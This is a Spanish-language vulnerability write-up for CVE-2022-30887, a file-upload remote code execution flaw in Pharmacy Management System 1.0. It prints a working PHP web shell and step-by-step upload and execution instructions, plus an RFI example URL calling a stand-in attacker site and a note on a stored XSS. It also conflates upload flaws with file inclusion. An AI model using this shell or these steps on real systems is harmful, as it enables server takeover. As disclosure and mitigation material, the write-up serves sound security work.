CVE-2022-30887

Pharmacy Management System 1.0 Subida de Shell

Esta aplicación fue creada por Mayurik

El proyecto del sistema de gestión de farmacia en PHP ha sido desarrollado para mejorar la precisión y eficiencia de las tiendas farmacéuticas a través de la seguridad y la gestión. En resumen, es una aplicación de inventario de productos.

Se descubrió que Pharmacy Management System v1.0 contenía una vulnerabilidad de ejecución remota de código (RCE) a través del componente "/php_action/editProductImage.php". Esta vulnerabilidad permite a los atacantes ejecutar código arbitrario mediante un archivo de imagen manipulado.

¿Qué es un ataque de inclusión de archivos?

Las vulnerabilidades de subida de archivos suelen ser una vulnerabilidad que permite ejecutar un script. Funciona cuando subimos el archivo al servidor y ejecutamos un comando sobre el archivo subido. Las vulnerabilidades de subida de archivos se dividen en dos tipos:

• LFI (Inclusión Local de Archivos)
• RFI (Inclusión Remota de Archivos)

LFI (Inclusión Local de Archivos)

Esta vulnerabilidad ocurre cuando los archivos locales del servidor incluyen el archivo recuperado del usuario. Los valores recibidos del usuario deben ser saneados.

Ejemplo de LFI (Inclusión Local de Archivos) :

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

RFI (Inclusión Remota de Archivos)

Esta vulnerabilidad funciona cuando el atacante sube malware desde un servidor remoto.

Ejemplo de RFI (Inclusión Remota de Archivos) :

"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

Explicación del exploit, PoC

• Primero, después de la página de inicio de sesión nos dirigiremos a "dashboar.php"
• En segundo lugar, para ir a la página donde se encontró la vulnerabilidad, haga clic en medicamentos en el menú; después de hacer clic en administrar medicamentos se dirigirá a "product.php" y haga clic en editar imagen en la pestaña de acciones

• En la página "editproduct.php", haga clic en el botón seleccionar foto y suba su script de shell.

Ejemplo de script de shell PHP:

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

• Haga clic en el botón guardar y capture la petición en burp suite

Petición:

Respuesta:

• El archivo se guardó en la carpeta "/assets/myimage/"
• Haga una petición para ejecutar su script en la URL /assets/myimage/shell.php?s=echo+%22MuallimNaci%22

Petición:

Respuesta:

• Y BOOM

Además, esta vulnerabilidad sigue activa en la aplicación.

Mitigación

• Asegúrese de aceptar únicamente caracteres como "a-Z0-9" y de no permitir "..", "/" o "%00" (byte nulo)
• Asegúrese de que el "allow_url_include flag" esté desactivado
• Según OWASP 10 Remediación: "La aplicación puede mantener una *lista blanca de archivos, que pueden ser incluidos por la página, y luego usar un identificador (por ejemplo, el número de índice) para acceder al archivo seleccionado. Cualquier petición que contenga un identificador no válido debe ser rechazada; de esta manera no hay superficie de ataque para que los usuarios maliciosos manipulen la ruta"

Extra

En la misma página, que es "editproduct.php", encontré un XSS almacenado

• El código que contiene la vulnerabilidad es:

$sql = "UPDATE product SET product_name = '$productName'

En este bloque de código puede salirse del contexto con comillas dobles (")

Petición:

Respuesta:

Conclusión

Espero poder explicar cómo funciona la vulnerabilidad de inclusión de archivos, qué o cuál situación desencadena esta vulnerabilidad y cómo prevenir este ataque por parte de los atacantes. Gracias por su valioso tiempo.